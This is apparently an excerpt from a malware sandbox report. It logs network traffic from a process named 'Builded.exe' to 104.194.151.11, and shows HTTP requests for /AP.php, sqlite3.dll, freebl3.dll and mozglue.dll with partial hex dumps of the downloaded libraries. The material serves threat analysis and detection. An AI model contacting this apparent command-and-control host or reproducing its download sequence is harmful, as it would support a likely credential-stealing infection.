Aug 24, 2024 11:51:59.862562895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862586021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862587929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862622023 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862646103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862654924 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862677097 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862683058 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862700939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862709999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862719059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862729073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862730980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862739086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862747908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862751007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862760067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862766981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862787962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862796068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862797022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862807035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862811089 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862831116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862833977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862839937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862848043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862854958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862858057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862868071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862876892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862880945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862890959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862900972 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862901926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862906933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862917900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862945080 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.862957001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862967014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862973928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862986088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862996101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.862997055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863017082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863035917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863044977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863054037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863063097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863075018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863085032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863085985 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863095999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863112926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863112926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863121986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863131046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863132954 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863142014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863152027 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863159895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863159895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863167048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863193035 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863209009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863217115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863224983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863234997 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863239050 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863244057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863249063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863255978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863267899 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863270998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863281012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863290071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863298893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863296986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863317966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863329887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863349915 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863375902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863390923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863399982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863406897 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863424063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863425016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863435030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863442898 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863445044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863455057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863456964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863464117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863470078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863485098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863487005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863496065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863504887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863512993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863513947 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863523006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863537073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863543987 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863545895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863571882 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863578081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863686085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863696098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863704920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863713980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863723993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863723993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863734007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863743067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863750935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863753080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863763094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863771915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863775969 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863780975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.863785982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.863811016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:59.952913046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:59.952996969 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.197386026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.197451115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202253103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202370882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202383041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202409029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202423096 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202442884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202450037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202488899 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202578068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202621937 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202646971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202689886 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.202776909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202785969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.202837944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.203080893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.203089952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.203130960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.207892895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.207901001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.207907915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.207915068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.207923889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.207940102 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.207957029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.207993031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.208611012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.208669901 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.208750963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.208801031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.208996058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.209045887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.209289074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.209336042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.214351892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.214402914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.214437008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.214482069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:00.214513063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.214564085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215321064 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215337992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215476990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215620041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215665102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215723038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215730906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215738058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215745926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215754032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215761900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215770960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215785980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215823889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215919971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.215975046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216090918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216190100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216197968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216470957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216478109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216490984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.216614962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219387054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219402075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219409943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219418049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219424963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219681978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219690084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219696999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219703913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.219712019 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.613619089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:52:00.613713026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:52:01.173252106 CEST	49730	80	192.168.2.4	104.194.151.11

HTTP Request Dependency Graph

104.194.151.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.194.151.11	80	7304	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Timestamp	Bytes transferred	Direction	Data
Aug 24, 2024 11:51:54.764832973 CEST	95	OUT	GET /AP.php HTTP/1.1 Host: 104.194.151.11 Connection: Keep-Alive Cache-Control: no-cache
Aug 24, 2024 11:51:55.387840986 CEST	384	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:55 GMT Server: Apache/2.4.58 (Ubuntu) Set-Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 12 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 58 77 78 66 44 46 38 4d 58 78 38 Data Ascii: MXwxfDF8MXx8
Aug 24, 2024 11:51:55.404156923 CEST	122	OUT	GET /sqlite3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:55.574837923 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:55 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "9d9d8-6200e4e88720f" Accept-Ranges: bytes Content-Length: 645592 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89
Aug 24, 2024 11:51:55.575001955 CEST	1236	IN	Data Raw: 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 Data Ascii: R@0B/102X@B/113Z@B/124t@B
Aug 24, 2024 11:51:55.575014114 CEST	1236	IN	Data Raw: bf 04 00 99 f7 ff 8b 55 cc 8d 7c 02 02 2b 7d d8 69 c3 ad 8e 00 00 05 fc 5a 44 0a bb 64 00 00 00 99 f7 fb 01 c7 8d 46 01 69 c0 51 ab 04 00 66 bb 10 27 99 f7 fb 01 c7 d9 05 88 9b 97 60 57 da 2c 24 83 c4 04 d8 0d 8c 9b 97 60 d9 7d ee 66 8b 45 ee 80 Data Ascii: U\|+}iZDdFiQf'`W,$`}fEfEm}m]uqAy)tZiQ`iA6`I m}mEUQy+t!iY`)QA(A)A+,[^_UWVS,x(xu
Aug 24, 2024 11:51:55.575026035 CEST	1236	IN	Data Raw: 31 c0 85 d2 74 03 8b 42 f8 c9 c3 55 89 e5 8b 45 08 83 c0 07 83 e0 f8 c9 c3 55 89 e5 31 c0 c9 c3 55 89 e5 c9 c3 55 89 e5 83 ec 18 89 c2 31 c0 83 3d 0c e0 96 60 00 74 09 89 14 24 ff 15 54 e0 96 60 c9 c3 55 89 e5 83 ec 08 8b 45 08 85 c0 74 08 a1 58 Data Ascii: 1tBUEU1UU1=`t$T`UEtX`UEt\`UEt``1UEtd`USs$E$1[U1U1UUU
Aug 24, 2024 11:51:55.575042009 CEST	1236	IN	Data Raw: c9 c3 89 14 24 ff 15 38 e0 96 60 eb f3 55 89 e5 53 83 ec 14 8b 5d 08 85 db 74 60 83 3d 08 e0 96 60 00 74 48 a1 18 a2 97 60 89 04 24 e8 55 fb ff ff 89 1c 24 e8 06 fd ff ff f7 d8 89 c2 31 c0 e8 7e f5 ff ff 83 ca ff b8 09 00 00 00 e8 71 f5 ff ff 89 Data Ascii: $8`US]t`=`tH`$U$1~q$0``E[J]0`[[US$$EsE$[UVStJt>t3403.;r;s
Aug 24, 2024 11:51:55.575054884 CEST	1236	IN	Data Raw: c0 85 db 78 16 0f b6 01 0f b6 80 d0 43 97 60 0f b6 12 0f b6 92 d0 43 97 60 29 d0 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 10 8b 5d 08 c7 44 24 08 07 00 00 00 c7 44 24 04 28 f0 96 60 89 1c 24 e8 86 ff ff ff 85 c0 75 03 83 c3 07 89 d8 e8 a9 fe ff ff Data Ascii: xC`C`)[^_UWVS]D$D$(`$u1`\|$T$$UZUu:B`tFu1[^_UWVSlUUE@uME?)9}<t9
Aug 24, 2024 11:51:55.575064898 CEST	1236	IN	Data Raw: ef dd d8 83 7d c4 ff df 6d d0 75 04 de f1 eb 02 de c9 dd 5d e0 dd 45 e0 eb 07 df 6d d0 eb 02 d9 ee 8b 45 b4 dd 18 83 7d c0 00 7e 10 3b 5d c8 72 0b 83 7d b8 00 0f 94 c0 21 f8 eb 02 31 c0 83 c4 6c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 44 89 c3 89 Data Ascii: }mu]EmE}~;]r}!1l[^_UWVSDUUuME?)9}<t9MDE;]s%B`u<-u1<+u1];ur-uuu
Aug 24, 2024 11:51:55.575077057 CEST	108	IN	Data Raw: 0f b6 78 05 09 fb f6 c3 80 75 1a 81 e6 7f c0 1f 00 c1 e6 07 09 de c1 e9 12 89 32 89 4a 04 b0 06 e9 83 00 00 00 c1 e6 0e 0f b6 78 06 09 fe f7 c6 80 00 00 00 75 1d 81 e6 7f c0 1f f0 81 e3 7f c0 1f 00 c1 e3 07 09 f3 c1 e9 0b 89 1a 89 4a 04 b0 07 eb Data Ascii: xu2JxuJUxu
Aug 24, 2024 11:51:55.575086117 CEST	1236	IN	Data Raw: 7f c0 1f f0 09 de c1 e9 04 89 32 89 4a 04 b0 08 eb 2a c1 e6 0f 0f b6 78 08 09 fe 81 e3 7f c0 1f 00 c1 e1 04 0f b6 40 04 83 e0 7f c1 e8 03 09 c8 c1 e3 08 09 de 89 32 89 42 04 b0 09 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 14 89 d3 0f b6 10 8d 78 01 Data Ascii: 2J*x@2B[^_UWVSxHuAWuU&U}u[^_US1Bu[U@JR
Aug 24, 2024 11:51:55.575098038 CEST	1236	IN	Data Raw: f2 89 d8 e8 69 ff ff ff 89 c2 31 c0 85 d2 74 03 8b 42 08 59 5b 5b 5e c9 c3 55 89 e5 81 ec b8 00 00 00 83 3d 2c a4 97 60 00 75 2c c7 85 64 ff ff ff 94 00 00 00 8d 85 64 ff ff ff 89 04 24 ff 15 fc ec 96 60 50 31 c0 83 bd 74 ff ff ff 02 0f 94 c0 40 Data Ascii: i1tBY[[^U=,`u,dd$`P1t@,`1=,`UUE@%U$%U$;UU1B`t1z:U
Aug 24, 2024 11:51:55.575115919 CEST	1236	IN	Data Raw: db 74 32 8b 03 a3 d0 a2 97 60 a1 d4 a2 97 60 48 a3 d4 a2 97 60 3b 05 c0 a2 97 60 0f 9c c0 0f b6 c0 a3 d8 a2 97 60 ba 01 00 00 00 b8 01 00 00 00 e8 fd dc ff ff a1 cc a2 97 60 89 04 24 e8 e4 e2 ff ff 85 db 75 3e 89 34 24 e8 2a e5 ff ff 89 c3 85 c0 Data Ascii: t2``H`;```$u>4$*t0$S`$`$[^UVS1;`rZ;`sR`$8g```@`;`
Aug 24, 2024 11:51:57.041027069 CEST	122	OUT	GET /freebl3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:57.208919048 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "519d0-6200e4e818494" Accept-Ranges: bytes Content-Length: 334288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$/AVAVAVVAV]@WAV1VAV]BWAV]DWAV]EWAV@WAVO@WAV@VAVOBWAVOEWAVOAWAVOVAVOCWAVRichAVPELb["!f)ps@pP@xP0T@8.textt `.rdata@@.data,H@.rsrcx@@@.relocP@B
Aug 24, 2024 11:51:57.492559910 CEST	122	OUT	GET /mozglue.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
